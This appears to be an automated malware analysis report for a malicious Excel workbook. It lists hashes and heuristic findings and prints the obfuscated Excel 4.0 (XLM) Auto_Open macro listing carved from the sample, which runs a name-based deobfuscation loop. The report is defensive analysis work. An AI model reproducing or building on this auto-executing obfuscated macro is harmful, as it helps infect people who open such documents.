Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6472c73741ff19d0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:51 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 6f48d48a415d7d495974c49aca842fc5 SHA-1: 08f05056b2a105dc539b3c5a6aa30ff19f623d58 SHA-256: 6472c73741ff19d0e17833b908f315d3727061fe96c049a2c6a252ae7f51bc71
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6687 bytes
SHA-256: 68b0e1032bada4f9a626fc24ccdd277a59018c84c39e810015b434022f9411fd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jpCtlJ
' 0018     24 LABEL : Cell Value, String Constant - aeajSxQBA len=0 
' 0018     26 LABEL : Cell Value, String Constant - AtrpauSxtMM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B154 
' 0018     22 LABEL : Cell Value, String Constant - BbaJTBU len=0 
' 0018     27 LABEL : Cell Value, String Constant - BnPAxQcqFuib len=0 
' 0018     20 LABEL : Cell Value, String Constant - CQjsN len=0 
' 0018     25 LABEL : Cell Value, String Constant - EPzPomCaJz len=0 
' 0018     21 LABEL : Cell Value, String Constant - flxOZy len=0 
' 0018     20 LABEL : Cell Value, String Constant - GKtrL len=0 
' 0018     27 LABEL : Cell Value, String Constant - hGBQtSsnlDNM len=0 
' 0018     23 LABEL : Cell Value, String Constant - HTThfoBZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - JRhfVYEBwZe len=0 
' 0018     22 LABEL : Cell Value, String Constant - NlCjDbu len=0 
' 0018     24 LABEL : Cell Value, String Constant - oafwcborj len=0 
' 0018     26 LABEL : Cell Value, String Constant - pwZdkoYgNUx len=0 
' 0018     24 LABEL : Cell Value, String Constant - qdwWdftja len=0 
' 0018     22 LABEL : Cell Value, String Constant - QsmUfrF len=0 
' 0018     27 LABEL : Cell Value, String Constant - RRqjVdrxvnys len=0 
' 0018     26 LABEL : Cell Value, String Constant - TaeKRcaYjtH len=0 
' 0018     21 LABEL : Cell Value, String Constant - TbXebT len=0 
' 0018     23 LABEL : Cell Value, String Constant - zDKdlOWc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jpCtlJ,S51,"",446.00000000000000000000
'  jpCtlJ,S52,"",213.00000000000000000000
'  jpCtlJ,S53,"",299.00000000000000000000
'  jpCtlJ,S54,"",-933.00000000000000000000
'  jpCtlJ,S55,"",409.00000000000000000000
'  jpCtlJ,S56,"",-141.00000000000000000000
'  jpCtlJ,B68,"SET.NAME("BnPAxQcqFuib",0+VALUE("0"))",""
'  jpCtlJ,B71,"SET.NAME("TaeKRcaYjtH",BnPAxQcqFuib)",""
'  jpCtlJ,B73,"SET.NAME("flxOZy",BnPAxQcqFuib)",""
'  jpCtlJ,B75,"SET.NAME("HTThfoBZ",COUNTA(aeajSxQBA))",""
'  jpCtlJ,B80,"SET.NAME("JRhfVYEBwZe",COUNTA(BbaJTBU))",""
'  jpCtlJ,B84,[],""
'  jpCtlJ,B86,"SET.NAME("QsmUfrF","")",""
'  jpCtlJ,B90,"TaeKRcaYjtH",""
'  jpCtlJ,B92,"SET.NAME("TbXebT",HLOOKUP("*",aeajSxQBA,TaeKRcaYjtH,FALSE))",""
'  jpCtlJ,B95,"zDKdlOWc",""
'  jpCtlJ,B98,"SET.NAME("GKtrL",BnPAxQcqFuib)",""
'  jpCtlJ,B103,[],""
'  jpCtlJ,B106,"GKtrL",""
'  jpCtlJ,B110,"oafwcborj",""
'  jpCtlJ,B115,"RRqjVdrxvnys",""
'  jpCtlJ,B117,"CQjsN",""
'  jpCtlJ,B120,"SET.NAME("hGBQtSsnlDNM",VALUE(HLOOKUP("*",BbaJTBU,CQjsN,FALSE)))",""
'  jpCtlJ,B125,"EPzPomCaJz",""
'  jpCtlJ,B129,"QsmUfrF",""
'  jpCtlJ,B132,"flxOZy",""
'  jpCtlJ,B137,NEXT(),""
'  jpCtlJ,B139,"qdwWdftja",""
'  jpCtlJ,B141,[],""
'  jpCtlJ,B143,"pwZdkoYgNUx",""
'  jpCtlJ,B148,NEXT(),""
'  jpCtlJ,B150,RETURN(),""
'  jpCtlJ,B178,"SET.NAME("AtrpauSxtMM",B68)",""
'  jpCtlJ,B182,"aeajSxQBA",""
'  jpCtlJ,B185,"SET.NAME("BbaJTBU",R56C12)",""
'  jpCtlJ,B190,"SET.NAME("pwZdkoYgNUx",200)",""
'  jpCtlJ,B195,"SET.NAME("NlCjDbu",2)",""
'  jpCtlJ,B199,AtrpauSxtMM(),""
'  jpCtlJ,B200,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.